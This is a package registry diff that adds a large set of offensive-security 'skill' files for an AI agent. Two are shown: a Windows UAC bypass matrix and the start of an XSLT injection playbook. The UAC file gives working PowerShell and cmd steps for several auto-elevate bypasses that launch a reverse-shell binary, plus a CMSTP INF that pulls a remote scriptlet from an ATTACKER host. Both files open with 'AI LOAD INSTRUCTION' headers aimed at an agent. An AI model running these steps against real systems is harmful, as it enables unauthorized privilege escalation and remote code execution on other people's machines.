ineedcodes 1.6.1 → 1.7.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -1
- package/skills/401-403-bypass-techniques/SKILL.md +348 -0
- package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
- package/skills/active-directory-acl-abuse/SKILL.md +295 -0
- package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
- package/skills/active-directory-certificate-services/SKILL.md +303 -0
- package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
- package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
- package/skills/ai-ml-security/SKILL.md +425 -0
- package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
- package/skills/android-pentesting-tricks/SKILL.md +369 -0
- package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
- package/skills/anti-debugging-techniques/SKILL.md +407 -0
- package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
- package/skills/api-authorization-and-bola/SKILL.md +48 -0
- package/skills/api-recon-and-docs/SKILL.md +61 -0
- package/skills/api-sec/SKILL.md +49 -0
- package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
- package/skills/auth-sec/SKILL.md +41 -0
- package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
- package/skills/bba-ad-attacker/SKILL.md +420 -0
- package/skills/bba-api-security/SKILL.md +95 -0
- package/skills/bba-attack-planner/SKILL.md +186 -0
- package/skills/bba-binary-exploit/SKILL.md +65 -0
- package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
- package/skills/bba-bug-bounty/SKILL.md +245 -0
- package/skills/bba-cicd-redteam/SKILL.md +515 -0
- package/skills/bba-cloud-security/SKILL.md +97 -0
- package/skills/bba-container-escape/SKILL.md +161 -0
- package/skills/bba-credential-tester/SKILL.md +346 -0
- package/skills/bba-crypto-analyst/SKILL.md +54 -0
- package/skills/bba-ctf-solver/SKILL.md +166 -0
- package/skills/bba-detection-engineer/SKILL.md +93 -0
- package/skills/bba-engagement-planner/SKILL.md +68 -0
- package/skills/bba-exploit-chainer/SKILL.md +280 -0
- package/skills/bba-exploit-guide/SKILL.md +96 -0
- package/skills/bba-forensics-analyst/SKILL.md +512 -0
- package/skills/bba-graphql-hunter/SKILL.md +145 -0
- package/skills/bba-hardware-hacker/SKILL.md +57 -0
- package/skills/bba-jwt-cracker/SKILL.md +133 -0
- package/skills/bba-llm-redteam/SKILL.md +149 -0
- package/skills/bba-malware-analyst/SKILL.md +305 -0
- package/skills/bba-mobile-pentester/SKILL.md +350 -0
- package/skills/bba-osint-collector/SKILL.md +645 -0
- package/skills/bba-payload-crafter/SKILL.md +347 -0
- package/skills/bba-phishing-operator/SKILL.md +516 -0
- package/skills/bba-poc-validator/SKILL.md +249 -0
- package/skills/bba-privesc-advisor/SKILL.md +98 -0
- package/skills/bba-purple-team/SKILL.md +56 -0
- package/skills/bba-recon-advisor/SKILL.md +215 -0
- package/skills/bba-red-team-operator/SKILL.md +61 -0
- package/skills/bba-report-generator/SKILL.md +145 -0
- package/skills/bba-reverse-engineer/SKILL.md +298 -0
- package/skills/bba-social-engineer/SKILL.md +341 -0
- package/skills/bba-ssrf-hunter/SKILL.md +120 -0
- package/skills/bba-stig-analyst/SKILL.md +108 -0
- package/skills/bba-subdomain-takeover/SKILL.md +141 -0
- package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
- package/skills/bba-threat-modeler/SKILL.md +574 -0
- package/skills/bba-vuln-scanner/SKILL.md +305 -0
- package/skills/bba-web-hunter/SKILL.md +285 -0
- package/skills/bba-wireless-pentester/SKILL.md +539 -0
- package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
- package/skills/binary-protection-bypass/SKILL.md +295 -0
- package/skills/browser-exploitation-v8/SKILL.md +334 -0
- package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
- package/skills/business-logic-vuln/SKILL.md +33 -0
- package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
- package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
- package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
- package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
- package/skills/classical-cipher-analysis/SKILL.md +663 -0
- package/skills/clickjacking/SKILL.md +163 -0
- package/skills/cmdi-command-injection/SKILL.md +687 -0
- package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
- package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
- package/skills/container-escape-techniques/SKILL.md +339 -0
- package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
- package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
- package/skills/crlf-injection/SKILL.md +179 -0
- package/skills/csp-bypass-advanced/SKILL.md +259 -0
- package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
- package/skills/csv-formula-injection/SKILL.md +144 -0
- package/skills/dangling-markup-injection/SKILL.md +321 -0
- package/skills/defi-attack-patterns/SKILL.md +355 -0
- package/skills/dependency-confusion/SKILL.md +178 -0
- package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
- package/skills/deserialization-insecure/SKILL.md +725 -0
- package/skills/dns-rebinding-attacks/SKILL.md +337 -0
- package/skills/email-header-injection/SKILL.md +349 -0
- package/skills/expression-language-injection/SKILL.md +243 -0
- package/skills/file-access-vuln/SKILL.md +33 -0
- package/skills/format-string-exploitation/SKILL.md +312 -0
- package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
- package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
- package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
- package/skills/hack/SKILL.md +162 -0
- package/skills/hash-attack-techniques/SKILL.md +491 -0
- package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
- package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
- package/skills/heap-exploitation/SKILL.md +217 -0
- package/skills/http-host-header-attacks/SKILL.md +323 -0
- package/skills/http-parameter-pollution/SKILL.md +208 -0
- package/skills/http2-specific-attacks/SKILL.md +350 -0
- package/skills/idor-broken-object-authorization/SKILL.md +336 -0
- package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
- package/skills/injection-checking/SKILL.md +50 -0
- package/skills/insecure-source-code-management/SKILL.md +161 -0
- package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
- package/skills/ios-pentesting-tricks/SKILL.md +418 -0
- package/skills/jndi-injection/SKILL.md +265 -0
- package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
- package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
- package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
- package/skills/kernel-exploitation/SKILL.md +307 -0
- package/skills/kubernetes-pentesting/SKILL.md +348 -0
- package/skills/lattice-crypto-attacks/SKILL.md +497 -0
- package/skills/linux-lateral-movement/SKILL.md +348 -0
- package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
- package/skills/linux-privilege-escalation/SKILL.md +346 -0
- package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
- package/skills/linux-security-bypass/SKILL.md +345 -0
- package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
- package/skills/llm-prompt-injection/SKILL.md +357 -0
- package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
- package/skills/macos-process-injection/SKILL.md +384 -0
- package/skills/macos-security-bypass/SKILL.md +337 -0
- package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
- package/skills/memory-forensics-volatility/SKILL.md +323 -0
- package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
- package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
- package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
- package/skills/network-protocol-attacks/SKILL.md +330 -0
- package/skills/nosql-injection/SKILL.md +341 -0
- package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
- package/skills/ntlm-relay-coercion/SKILL.md +267 -0
- package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
- package/skills/open-redirect/SKILL.md +380 -0
- package/skills/path-traversal-lfi/SKILL.md +802 -0
- package/skills/prototype-pollution/SKILL.md +190 -0
- package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
- package/skills/prototype-pollution-advanced/SKILL.md +338 -0
- package/skills/race-condition/SKILL.md +526 -0
- package/skills/recon-and-methodology/SKILL.md +389 -0
- package/skills/recon-for-sec/SKILL.md +29 -0
- package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
- package/skills/request-smuggling/SKILL.md +314 -0
- package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
- package/skills/reverse-shell-techniques/SKILL.md +290 -0
- package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
- package/skills/rsa-attack-techniques/SKILL.md +437 -0
- package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
- package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
- package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
- package/skills/sandbox-escape-techniques/SKILL.md +250 -0
- package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
- package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
- package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
- package/skills/sqli-sql-injection/SKILL.md +489 -0
- package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
- package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
- package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
- package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
- package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
- package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
- package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
- package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
- package/skills/stack-overflow-and-rop/SKILL.md +304 -0
- package/skills/steganography-techniques/SKILL.md +348 -0
- package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
- package/skills/subdomain-takeover/SKILL.md +247 -0
- package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
- package/skills/symbolic-execution-tools/SKILL.md +419 -0
- package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
- package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
- package/skills/traffic-analysis-pcap/SKILL.md +341 -0
- package/skills/tunneling-and-pivoting/SKILL.md +343 -0
- package/skills/type-juggling/SKILL.md +291 -0
- package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
- package/skills/unauthorized-access-common-services/SKILL.md +388 -0
- package/skills/upload-insecure-files/SCENARIOS.md +158 -0
- package/skills/upload-insecure-files/SKILL.md +543 -0
- package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
- package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
- package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
- package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
- package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
- package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
- package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
- package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
- package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
- package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
- package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
- package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
- package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
- package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
- package/skills/waf-bypass-techniques/SKILL.md +290 -0
- package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
- package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
- package/skills/web-cache-deception/SKILL.md +222 -0
- package/skills/websocket-security/SKILL.md +454 -0
- package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
- package/skills/windows-av-evasion/SKILL.md +342 -0
- package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
- package/skills/windows-lateral-movement/SKILL.md +335 -0
- package/skills/windows-privilege-escalation/SKILL.md +328 -0
- package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
- package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
- package/skills/xslt-injection/SKILL.md +281 -0
- package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
- package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
- package/skills/xss-cross-site-scripting/SKILL.md +379 -0
- package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
- package/skills/xxe-xml-external-entity/SKILL.md +554 -0
- package/src/agent.js +1 -1
- package/src/session.js +6 -3
- package/src/skills.js +30 -6
- package/src/ui.js +1 -1
|
@@ -0,0 +1,225 @@
|
|
|
1
|
+
# UAC Bypass Techniques Matrix
|
|
2
|
+
|
|
3
|
+
> **AI LOAD INSTRUCTION**: Load this for UAC bypass technique selection, auto-elevate binary abuse, and mock trusted directory tricks. Assumes the main [SKILL.md](./SKILL.md) is already loaded for general Windows privesc flow. UAC bypass takes you from medium integrity → high integrity (local admin).
|
|
4
|
+
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
## 1. UAC FUNDAMENTALS
|
|
8
|
+
|
|
9
|
+
### Integrity Levels
|
|
10
|
+
|
|
11
|
+
| Level | Token | Access |
|
|
12
|
+
|---|---|---|
|
|
13
|
+
| **Low** | Restricted | Sandboxed (browser, etc.) |
|
|
14
|
+
| **Medium** | Standard user token | Default for admin users with UAC |
|
|
15
|
+
| **High** | Elevated admin token | Full local admin (post-UAC-consent) |
|
|
16
|
+
| **System** | NT AUTHORITY\SYSTEM | Highest OS-level access |
|
|
17
|
+
|
|
18
|
+
### UAC Settings (ConsentPromptBehaviorAdmin)
|
|
19
|
+
|
|
20
|
+
```cmd
|
|
21
|
+
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin
|
|
22
|
+
```
|
|
23
|
+
|
|
24
|
+
| Value | Meaning | Bypass Possible? |
|
|
25
|
+
|---|---|---|
|
|
26
|
+
| 0 | Elevate without prompting | No bypass needed |
|
|
27
|
+
| 1 | Prompt for credentials on secure desktop | Difficult |
|
|
28
|
+
| 2 | Prompt for consent on secure desktop | Difficult |
|
|
29
|
+
| 3 | Prompt for credentials | Possible |
|
|
30
|
+
| 4 | Prompt for consent | Possible |
|
|
31
|
+
| **5** | **Prompt for consent for non-Windows binaries (default)** | **Yes — auto-elevate abuse** |
|
|
32
|
+
|
|
33
|
+
**Key insight**: At the default setting (5), Microsoft-signed binaries with `autoElevate=true` in their manifest run elevated without prompting.
|
|
34
|
+
|
|
35
|
+
---
|
|
36
|
+
|
|
37
|
+
## 2. UAC BYPASS TECHNIQUE MATRIX
|
|
38
|
+
|
|
39
|
+
| # | Technique | Binary Abused | Method | Win10 | Win11 | Detection Risk |
|
|
40
|
+
|---|---|---|---|---|---|---|
|
|
41
|
+
| 1 | **fodhelper** | `fodhelper.exe` | Registry key hijack | Yes | Patched (recent) | Medium |
|
|
42
|
+
| 2 | **eventvwr** | `eventvwr.exe` | Registry `mscfile` shell\open | Yes | Partial | Medium |
|
|
43
|
+
| 3 | **computerdefaults** | `computerdefaults.exe` | Registry `ms-settings` delegation | Yes | Partial | Medium |
|
|
44
|
+
| 4 | **sdclt** | `sdclt.exe` | App paths + isolation aware | Yes | Partial | Low |
|
|
45
|
+
| 5 | **DiskCleanup** | `cleanmgr.exe` / schtask | Environment variable (TEMP path) | Yes | Yes | Low |
|
|
46
|
+
| 6 | **Mock Trusted Dir** | Various auto-elevate EXEs | Fake `C:\Windows \System32\` path | Yes | Yes | Low |
|
|
47
|
+
| 7 | **CMSTP** | `cmstp.exe` | INF file with command execution | Yes | Yes | Medium |
|
|
48
|
+
| 8 | **WSReset** | `wsreset.exe` | Registry `ms-settings` delegation | Yes | Yes | Low |
|
|
49
|
+
| 9 | **SilentCleanup** | Scheduled Task | Environment variable DLL hijack | Yes | Partial | Low |
|
|
50
|
+
|
|
51
|
+
---
|
|
52
|
+
|
|
53
|
+
## 3. DETAILED BYPASS TECHNIQUES
|
|
54
|
+
|
|
55
|
+
### 3.1 fodhelper.exe Bypass
|
|
56
|
+
|
|
57
|
+
`fodhelper.exe` auto-elevates and checks `HKCU:\Software\Classes\ms-settings\Shell\Open\command` before launching.
|
|
58
|
+
|
|
59
|
+
```powershell
|
|
60
|
+
# Set registry key to hijack execution
|
|
61
|
+
New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
|
|
62
|
+
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "cmd.exe /c start C:\temp\rev.exe" -Force
|
|
63
|
+
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
|
|
64
|
+
|
|
65
|
+
# Trigger
|
|
66
|
+
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
|
|
67
|
+
|
|
68
|
+
# Cleanup
|
|
69
|
+
Remove-Item -Path "HKCU:\Software\Classes\ms-settings" -Recurse -Force
|
|
70
|
+
```
|
|
71
|
+
|
|
72
|
+
### 3.2 eventvwr.exe Bypass
|
|
73
|
+
|
|
74
|
+
`eventvwr.exe` queries `HKCU:\Software\Classes\mscfile\shell\open\command` first.
|
|
75
|
+
|
|
76
|
+
```powershell
|
|
77
|
+
New-Item -Path "HKCU:\Software\Classes\mscfile\shell\open\command" -Force
|
|
78
|
+
Set-ItemProperty -Path "HKCU:\Software\Classes\mscfile\shell\open\command" -Name "(default)" -Value "cmd.exe /c C:\temp\rev.exe"
|
|
79
|
+
|
|
80
|
+
Start-Process "C:\Windows\System32\eventvwr.exe"
|
|
81
|
+
|
|
82
|
+
Remove-Item -Path "HKCU:\Software\Classes\mscfile" -Recurse -Force
|
|
83
|
+
```
|
|
84
|
+
|
|
85
|
+
### 3.3 computerdefaults.exe Bypass
|
|
86
|
+
|
|
87
|
+
```powershell
|
|
88
|
+
New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
|
|
89
|
+
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "cmd.exe /c C:\temp\rev.exe"
|
|
90
|
+
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
|
|
91
|
+
|
|
92
|
+
Start-Process "C:\Windows\System32\computerdefaults.exe"
|
|
93
|
+
|
|
94
|
+
Remove-Item -Path "HKCU:\Software\Classes\ms-settings" -Recurse -Force
|
|
95
|
+
```
|
|
96
|
+
|
|
97
|
+
### 3.4 sdclt.exe Bypass
|
|
98
|
+
|
|
99
|
+
```powershell
|
|
100
|
+
# sdclt.exe checks App Paths in HKCU
|
|
101
|
+
New-Item -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" -Force
|
|
102
|
+
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" -Name "(default)" -Value "cmd.exe"
|
|
103
|
+
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" -Name "Path" -Value "/c C:\temp\rev.exe"
|
|
104
|
+
|
|
105
|
+
Start-Process "C:\Windows\System32\sdclt.exe"
|
|
106
|
+
|
|
107
|
+
Remove-Item -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" -Recurse -Force
|
|
108
|
+
```
|
|
109
|
+
|
|
110
|
+
### 3.5 DiskCleanup / SilentCleanup Bypass
|
|
111
|
+
|
|
112
|
+
The SilentCleanup scheduled task runs `cleanmgr.exe` with highest privileges and inherits the user's environment.
|
|
113
|
+
|
|
114
|
+
```cmd
|
|
115
|
+
# Set %TEMP% or %WINDIR% to controlled path
|
|
116
|
+
set __COMPAT_LAYER=RunAsInvoker
|
|
117
|
+
reg add "HKCU\Environment" /v "windir" /d "cmd.exe /c C:\temp\rev.exe &" /f
|
|
118
|
+
|
|
119
|
+
# Trigger the scheduled task
|
|
120
|
+
schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I
|
|
121
|
+
|
|
122
|
+
# Cleanup
|
|
123
|
+
reg delete "HKCU\Environment" /v "windir" /f
|
|
124
|
+
```
|
|
125
|
+
|
|
126
|
+
### 3.6 Mock Trusted Directory Bypass
|
|
127
|
+
|
|
128
|
+
Windows path-based trust check has a flaw: trailing spaces in directory names.
|
|
129
|
+
|
|
130
|
+
```cmd
|
|
131
|
+
# Create mock directory (note trailing space in "Windows ")
|
|
132
|
+
mkdir "C:\Windows \System32"
|
|
133
|
+
|
|
134
|
+
# Copy auto-elevate binary to fake path
|
|
135
|
+
copy C:\Windows\System32\fodhelper.exe "C:\Windows \System32\fodhelper.exe"
|
|
136
|
+
|
|
137
|
+
# Place malicious DLL in mock directory (DLL hijacking during auto-elevate)
|
|
138
|
+
# The binary loads from its directory first, bypassing real System32
|
|
139
|
+
copy C:\temp\propsys.dll "C:\Windows \System32\propsys.dll"
|
|
140
|
+
|
|
141
|
+
# Execute — auto-elevates (path passes trust check) and loads our DLL
|
|
142
|
+
"C:\Windows \System32\fodhelper.exe"
|
|
143
|
+
```
|
|
144
|
+
|
|
145
|
+
### 3.7 CMSTP.exe Bypass
|
|
146
|
+
|
|
147
|
+
```ini
|
|
148
|
+
; Save as evil.inf
|
|
149
|
+
[version]
|
|
150
|
+
Signature=$chicago$
|
|
151
|
+
AdvancedINF=2.5
|
|
152
|
+
|
|
153
|
+
[DefaultInstall_SingleUser]
|
|
154
|
+
UnRegisterOCXs=UnRegisterOCXSection
|
|
155
|
+
|
|
156
|
+
[UnRegisterOCXSection]
|
|
157
|
+
%11%\scrobj.dll,NI,http://ATTACKER/sct_payload.sct
|
|
158
|
+
|
|
159
|
+
[Strings]
|
|
160
|
+
AppAct = "SOFTWARE\Microsoft\Connection Manager"
|
|
161
|
+
ServiceName="Updater"
|
|
162
|
+
ShortSvcName="Updater"
|
|
163
|
+
```
|
|
164
|
+
|
|
165
|
+
```cmd
|
|
166
|
+
# Execute (auto-elevates via COM interface)
|
|
167
|
+
cmstp.exe /s /ns C:\temp\evil.inf
|
|
168
|
+
```
|
|
169
|
+
|
|
170
|
+
### 3.8 WSReset.exe Bypass
|
|
171
|
+
|
|
172
|
+
```powershell
|
|
173
|
+
New-Item -Path "HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635ber5p5gdqk2gm93\Shell\open\command" -Force
|
|
174
|
+
Set-ItemProperty -Path "HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635ber5p5gdqk2gm93\Shell\open\command" -Name "(default)" -Value "cmd.exe /c C:\temp\rev.exe"
|
|
175
|
+
New-ItemProperty -Path "HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635ber5p5gdqk2gm93\Shell\open\command" -Name "DelegateExecute" -Value "" -Force
|
|
176
|
+
|
|
177
|
+
Start-Process "C:\Windows\System32\wsreset.exe"
|
|
178
|
+
```
|
|
179
|
+
|
|
180
|
+
---
|
|
181
|
+
|
|
182
|
+
## 4. UACME TOOL REFERENCE
|
|
183
|
+
|
|
184
|
+
[UACME](https://github.com/hfiref0x/UACME) implements 70+ bypass methods.
|
|
185
|
+
|
|
186
|
+
```cmd
|
|
187
|
+
# Akagi64.exe <method_number> <command>
|
|
188
|
+
Akagi64.exe 23 cmd.exe & REM Method 23: sdclt bypass
|
|
189
|
+
Akagi64.exe 33 cmd.exe & REM Method 33: fodhelper bypass
|
|
190
|
+
Akagi64.exe 34 cmd.exe & REM Method 34: computerdefaults
|
|
191
|
+
Akagi64.exe 61 cmd.exe & REM Method 61: wsreset bypass
|
|
192
|
+
```
|
|
193
|
+
|
|
194
|
+
---
|
|
195
|
+
|
|
196
|
+
## 5. UAC BYPASS DECISION TREE
|
|
197
|
+
|
|
198
|
+
```
|
|
199
|
+
Need high integrity from medium integrity?
|
|
200
|
+
│
|
|
201
|
+
├── Check UAC level
|
|
202
|
+
│ ├── ConsentPromptBehaviorAdmin = 0 → no bypass needed
|
|
203
|
+
│ └── Default (5) → auto-elevate abuse possible
|
|
204
|
+
│
|
|
205
|
+
├── Windows 10 (any build)?
|
|
206
|
+
│ ├── Try fodhelper (simplest, most reliable)
|
|
207
|
+
│ ├── If patched → wsreset or computerdefaults
|
|
208
|
+
│ ├── If those fail → mock trusted directory + DLL hijack
|
|
209
|
+
│ └── DiskCleanup / SilentCleanup (environment variable)
|
|
210
|
+
│
|
|
211
|
+
├── Windows 11?
|
|
212
|
+
│ ├── wsreset (still works on many builds)
|
|
213
|
+
│ ├── Mock trusted directory (reliable)
|
|
214
|
+
│ ├── CMSTP (if .inf execution allowed)
|
|
215
|
+
│ └── DiskCleanup / SilentCleanup
|
|
216
|
+
│
|
|
217
|
+
├── Defender/EDR blocking registry writes?
|
|
218
|
+
│ ├── Mock trusted directory (no registry needed)
|
|
219
|
+
│ └── CMSTP with remote .sct payload
|
|
220
|
+
│
|
|
221
|
+
└── All auto-elevate bypasses fail?
|
|
222
|
+
├── Check for vulnerable third-party services (runs elevated)
|
|
223
|
+
├── Exploit SeImpersonate if available (skip UAC entirely)
|
|
224
|
+
└── Look for scheduled tasks running as admin
|
|
225
|
+
```
|
|
@@ -0,0 +1,281 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: xslt-injection
|
|
3
|
+
description: >-
|
|
4
|
+
XSLT injection testing: processor fingerprinting, XXE and document() SSRF, EXSLT write primitives, PHP/Java/.NET extension RCE surfaces. Use when user-controlled XSLT/stylesheet input or transform endpoints are in scope.gated: true
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
# SKILL: XSLT Injection — Testing Playbook
|
|
8
|
+
|
|
9
|
+
> **AI LOAD INSTRUCTION**: XSLT injection occurs when **attacker-influenced XSLT** is compiled/executed server-side. Map the **processor family** first (Java/.NET/PHP/libxslt). Then chain **document()**, **external entities**, **EXSLT**, or **embedded script/extension functions** per platform. **Authorized testing only**; many payloads are destructive. Routing note: if input is generic XML parsing and may not flow through XSLT, cross-load `xxe-xml-external-entity`; if you care about outbound `document(http:...)` requests, cross-load `ssrf-server-side-request-forgery`.
|
|
10
|
+
|
|
11
|
+
---
|
|
12
|
+
|
|
13
|
+
## 0. QUICK START
|
|
14
|
+
|
|
15
|
+
1. **Find sinks**: parameters named `xslt`, `stylesheet`, `transform`, `template`, SOAP stylesheets, report generators, XML→HTML converters.
|
|
16
|
+
2. **Probe reflection**: inject unique namespace or `xsl:value-of select="'marker'"` — if output changes, execution likely.
|
|
17
|
+
3. **Fingerprint** processor (§1).
|
|
18
|
+
4. **Escalate** by family: **document()** / **XXE** (§2–3), **EXSLT write** (§4), **PHP** (§5), **Java** (§6), **.NET** (§7).
|
|
19
|
+
|
|
20
|
+
**Quick probe** (harmless marker):
|
|
21
|
+
|
|
22
|
+
```xml
|
|
23
|
+
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
|
24
|
+
<xsl:template match="/">
|
|
25
|
+
<xsl:value-of select="'XSLT_PROBE_OK'"/>
|
|
26
|
+
</xsl:template>
|
|
27
|
+
</xsl:stylesheet>
|
|
28
|
+
```
|
|
29
|
+
|
|
30
|
+
---
|
|
31
|
+
|
|
32
|
+
## 1. VENDOR DETECTION
|
|
33
|
+
|
|
34
|
+
Use standard **system-property** reads inside expressions:
|
|
35
|
+
|
|
36
|
+
```xml
|
|
37
|
+
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
|
38
|
+
<xsl:output method="text"/>
|
|
39
|
+
<xsl:template match="/">
|
|
40
|
+
<xsl:text>vendor=</xsl:text><xsl:value-of select="system-property('xsl:vendor')"/>
|
|
41
|
+
<xsl:text> version=</xsl:text><xsl:value-of select="system-property('xsl:version')"/>
|
|
42
|
+
<xsl:text> vendor-url=</xsl:text><xsl:value-of select="system-property('xsl:vendor-url')"/>
|
|
43
|
+
</xsl:template>
|
|
44
|
+
</xsl:stylesheet>
|
|
45
|
+
```
|
|
46
|
+
|
|
47
|
+
**Typical fingerprints** (examples, not exhaustive):
|
|
48
|
+
|
|
49
|
+
| Signal | Possible engine |
|
|
50
|
+
|--------|------------------|
|
|
51
|
+
| `Apache Software Foundation` / Xalan markers | Xalan (Java) |
|
|
52
|
+
| `Saxonica` / Saxon URI hints | Saxon |
|
|
53
|
+
| `libxslt` / GNOME stack | libxslt (C, often via PHP, nginx modules, etc.) |
|
|
54
|
+
| Microsoft URLs / MSXML strings | MSXML / .NET XSLT stack |
|
|
55
|
+
|
|
56
|
+
Use results to select §5–§7 paths.
|
|
57
|
+
|
|
58
|
+
---
|
|
59
|
+
|
|
60
|
+
